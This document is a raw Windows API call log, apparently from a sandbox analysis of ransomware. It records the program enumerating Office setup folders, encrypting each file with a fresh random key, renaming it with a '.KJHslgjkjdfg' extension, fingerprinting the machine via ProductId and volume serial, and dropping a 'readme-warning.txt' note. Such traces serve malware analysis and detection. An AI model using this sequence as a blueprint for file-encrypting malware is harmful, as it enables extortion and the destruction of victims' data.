[0169.732] GetProcessHeap () returned 0x2ef0000 [0169.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0169.732] GetProcessHeap () returned 0x2ef0000 [0169.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0169.732] GetProcessHeap () returned 0x2ef0000 [0169.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0169.732] GetProcessHeap () returned 0x2ef0000 [0169.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.733] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0169.733] GetProcessHeap () returned 0x2ef0000 [0169.733] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0169.733] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0169.733] GetProcessHeap () returned 0x2ef0000 [0169.733] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xce) returned 0x2f14588 [0169.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0169.734] GetProcessHeap () returned 0x2ef0000 [0169.734] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0169.734] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0169.734] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0169.734] GetProcessHeap () returned 0x2ef0000 [0169.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2d0) returned 0x2f47728 [0169.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.735] GetProcessHeap () returned 0x2ef0000 [0169.735] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.735] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.735] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.735] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x1, lpOverlapped=0x0) returned 1 [0169.738] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.738] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.738] GetProcessHeap () returned 0x2ef0000 [0169.738] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.738] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.738] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.738] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.738] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.738] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.739] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.739] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.739] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.739] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.739] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.739] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.739] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x4cf, lpOverlapped=0x0) returned 1 [0169.739] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x4d0) returned 1 [0169.739] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.739] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x4d0, lpOverlapped=0x0) returned 1 [0169.740] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.740] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.740] SetEndOfFile (hFile=0x118) returned 1 [0169.742] GetProcessHeap () returned 0x2ef0000 [0169.743] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.743] GetProcessHeap () returned 0x2ef0000 [0169.743] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.kjhslgjkjdfg")) returned 1 [0169.744] CloseHandle (hObject=0x118) returned 1 [0169.744] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.744] GetProcessHeap () returned 0x2ef0000 [0169.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.744] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.744] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.745] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.750] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.750] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.750] GetProcessHeap () returned 0x2ef0000 [0169.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0169.750] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0169.750] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.750] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0169.750] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.750] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.750] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.750] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.751] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.751] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.751] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.751] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.751] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x73c, lpOverlapped=0x0) returned 1 [0169.751] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x740, dwBufLen=0x740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x740) returned 1 [0169.751] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.751] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x740, lpOverlapped=0x0) returned 1 [0169.751] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.751] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.751] SetEndOfFile (hFile=0x118) returned 1 [0169.754] GetProcessHeap () returned 0x2ef0000 [0169.754] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0169.754] GetProcessHeap () returned 0x2ef0000 [0169.754] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0169.760] CloseHandle (hObject=0x118) returned 1 [0169.760] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.760] GetProcessHeap () returned 0x2ef0000 [0169.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.761] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0169.761] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.761] GetProcessHeap () returned 0x2ef0000 [0169.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0169.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.761] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0169.761] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.761] GetProcessHeap () returned 0x2ef0000 [0169.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0169.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.761] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0169.761] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.761] GetProcessHeap () returned 0x2ef0000 [0169.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0169.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.761] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0169.761] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.761] GetProcessHeap () returned 0x2ef0000 [0169.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.762] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.762] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0169.762] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.762] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0169.762] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0169.762] RegCloseKey (hKey=0x118) returned 0x0 [0169.762] GetProcessHeap () returned 0x2ef0000 [0169.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0169.762] GetProcessHeap () returned 0x2ef0000 [0169.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.762] GetProcessHeap () returned 0x2ef0000 [0169.762] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.762] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.762] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0169.762] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.762] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0169.762] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0169.763] GetProcessHeap () returned 0x2ef0000 [0169.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.763] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0169.763] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0169.763] GetProcessHeap () returned 0x2ef0000 [0169.763] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0169.763] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\readme-warning.txt") returned 113 [0169.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.779] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0169.781] CloseHandle (hObject=0x118) returned 1 [0169.781] GetProcessHeap () returned 0x2ef0000 [0169.781] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0169.781] GetProcessHeap () returned 0x2ef0000 [0169.781] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0169.781] GetProcessHeap () returned 0x2ef0000 [0169.781] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0169.781] GetProcessHeap () returned 0x2ef0000 [0169.782] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.782] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0169.782] GetProcessHeap () returned 0x2ef0000 [0169.782] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0169.782] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0169.782] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0169.782] GetProcessHeap () returned 0x2ef0000 [0169.782] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xca) returned 0x2f14588 [0169.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0169.789] GetProcessHeap () returned 0x2ef0000 [0169.789] HeapFree (in: hHeap=0x2ef0000, 